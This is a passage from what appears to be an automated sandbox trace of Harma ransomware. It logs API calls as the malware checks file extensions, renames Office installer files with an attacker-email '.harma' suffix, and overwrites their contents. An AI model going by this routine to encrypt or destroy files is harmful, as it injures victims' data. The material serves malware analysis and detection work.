SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.013] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0049.014] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3d30058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.036] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0049.036] WriteFile (in: hFile=0x1f0, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x33afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0049.053] SetEndOfFile (hFile=0x1f0) returned 1 [0049.053] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0049.058] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0049.058] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.059] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0049.059] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.060] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0049.060] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.312] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0049.315] CloseHandle (hObject=0x1f0) returned 1 [0052.675] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0052.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.675] lstrlenW (lpString=".doc") returned 4 [0052.675] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.676] lstrlenW (lpString=".docx") returned 5 [0052.676] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0052.676] lstrlenW (lpString=".pdf") returned 4 [0052.676] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.676] lstrlenW (lpString=".xls") returned 4 [0052.676] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.676] lstrlenW (lpString=".xlsx") returned 5 [0052.676] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0052.676] lstrlenW (lpString=".ppt") returned 4 [0052.676] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.676] lstrlenW (lpString=".zip") returned 4 [0052.676] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.676] lstrlenW (lpString=".rar") returned 4 [0052.676] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.676] lstrlenW (lpString=".bz2") returned 4 [0052.676] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.676] lstrlenW (lpString=".7z") returned 3 [0052.676] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.676] lstrlenW (lpString=".dbf") returned 4 [0052.676] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.676] lstrlenW (lpString=".1cd") returned 4 [0052.676] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.676] lstrlenW (lpString=".jpg") returned 4 [0052.676] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.677] lstrlenW (lpString=".doc") returned 4 [0052.677] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.677] lstrlenW (lpString=".docx") returned 5 [0052.677] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0052.677] lstrlenW (lpString=".pdf") returned 4 [0052.677] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.677] lstrlenW (lpString=".xls") returned 4 [0052.677] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.677] lstrlenW (lpString=".xlsx") returned 5 [0052.677] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0052.677] lstrlenW (lpString=".ppt") returned 4 [0052.677] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.677] lstrlenW (lpString=".zip") returned 4 [0052.677] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.677] lstrlenW (lpString=".rar") returned 4 [0052.677] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.677] lstrlenW (lpString=".bz2") returned 4 [0052.677] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.677] lstrlenW (lpString=".7z") returned 3 [0052.677] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.677] lstrlenW (lpString=".dbf") returned 4 [0052.677] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.678] lstrlenW (lpString=".1cd") returned 4 [0052.678] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.678] lstrlenW (lpString=".jpg") returned 4 [0052.678] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.678] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0052.678] lstrlenW (lpString="InfoPathMUI.msi") returned 15 [0052.678] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0052.678] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=3124224) returned 1 [0052.679] CloseHandle (hObject=0x1f0) returned 1 [0052.681] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi")) returned 0x2020 [0052.681] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.681] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0052.681] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0052.681] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc6c | out: lpNewFilePointer=0x0) returned 1 [0052.681] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0052.682] ReadFile (in: hFile=0x1f0, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.710] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0052.710] ReadFile (in: hFile=0x1f0, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.719] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.719] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0052.719] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3d30058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.072] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0053.072] WriteFile (in: hFile=0x1f0, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x33afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afcb0*=0xc010a, lpOverlapped=0x0) returned 1 [0053.092] SetEndOfFile (hFile=0x1f0) returned 1 [0053.092] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0053.098] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0053.098] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.401] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0053.401] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.407] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0053.407] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.409] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0053.409] CloseHandle (hObject=0x1f0) returned 1 [0053.409] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0053.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0053.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0053.410] lstrlenW (lpString=".doc") returned 4 [0053.410] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0053.410] lstrlenW (lpString=".docx") returned 5 [0053.410] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0053.410] lstrlenW (lpString=".pdf") returned 4 [0053.410] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0053.410] lstrlenW (lpString=".xls") returned 4 [0053.410] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0053.410] lstrlenW (lpString=".xlsx") returned 5 [0053.410] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0053.410] lstrlenW (lpString=".ppt") returned 4 [0053.410] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0053.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0053.410] lstrlenW (lpString=".zip") returned 4 [0053.410] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0053.410] lstrlenW (lpString=".rar") returned 4 [0053.410] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0053.410] lstrlenW (lpString=".bz2") returned 4 [0053.410] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0053.410] lstrlenW (lpString=".7z") returned 3 [0053.410] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0053.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0053.410] lstrlenW (lpString=".dbf") returned 4 [0053.410] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0053.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0053.411] lstrlenW (lpString=".1cd") returned 4 [0053.411] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0053.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0053.411] lstrlenW (lpString=".jpg") returned 4 [0053.411] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0053.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0053.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0053.411] lstrlenW (lpString=".doc") returned 4 [0053.411] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0053.411] lstrlenW (lpString=".docx") returned 5 [0053.411] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0053.411] lstrlenW (lpString=".pdf") returned 4 [0053.411] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0053.411] lstrlenW (lpString=".xls") returned 4 [0053.411] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0053.411] lstrlenW (lpString=".xlsx") returned 5 [0053.411] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0053.411] lstrlenW (lpString=".ppt") returned 4 [0053.411] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0053.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0053.411] lstrlenW (lpString=".zip") returned 4 [0053.411] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0053.411] lstrlenW (lpString=".rar") returned 4 [0053.411] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0053.411] lstrlenW (lpString=".bz2") returned 4 [0053.411] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0053.411] lstrlenW (lpString=".7z") returned 3 [0053.412] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0053.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0053.412] lstrlenW (lpString=".dbf") returned 4 [0053.412] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0053.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0053.412] lstrlenW (lpString=".1cd") returned 4 [0053.412] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0053.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0053.412] lstrlenW (lpString=".jpg") returned 4 [0053.412] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0053.412] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0053.412] lstrlenW (lpString="OneNoteMUI.msi") returned 14 [0053.412] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0053.413] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=2503680) returned 1 [0053.413] CloseHandle (hObject=0x1f0) returned 1 [0053.413] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi")) returned 0x2020 [0053.413] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0053.413] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0053.413] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0053.413] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc6c | out: lpNewFilePointer=0x0) returned 1 [0053.414] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0053.414] ReadFile (in: hFile=0x1f0, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.428] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0053.428] ReadFile (in: hFile=0x1f0, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.473] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0053.473] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0053.473] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3d30058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.494] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0053.494] WriteFile (in: hFile=0x1f0, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x33afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0053.523] SetEndOfFile (hFile=0x1f0) returned 1 [0053.523] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0053.523] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0053.523] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.525] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0053.525] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.533] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0053.533] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.851] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0053.856] CloseHandle (hObject=0x1f0) returned 1 [0053.856] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0053.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0053.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0053.856] lstrlenW (lpString=".doc") returned 4 [0053.856] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0053.856] lstrlenW (lpString=".docx") returned 5 [0053.857] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0053.857] lstrlenW (lpString=".pdf") returned 4 [0053.857] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0053.857] lstrlenW (lpString=".xls") returned 4 [0053.857] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0053.857] lstrlenW (lpString=".xlsx") returned 5 [0053.857] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0053.857] lstrlenW (lpString=".ppt") returned 4 [0053.857] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0053.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0053.857] lstrlenW (lpString=".zip") returned 4 [0053.857] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0053.857] lstrlenW (lpString=".rar") returned 4 [0053.857] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0053.857] lstrlenW (lpString=".bz2") returned 4 [0053.857] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0053.857] lstrlenW (lpString=".7z") returned 3 [0053.857] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0053.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 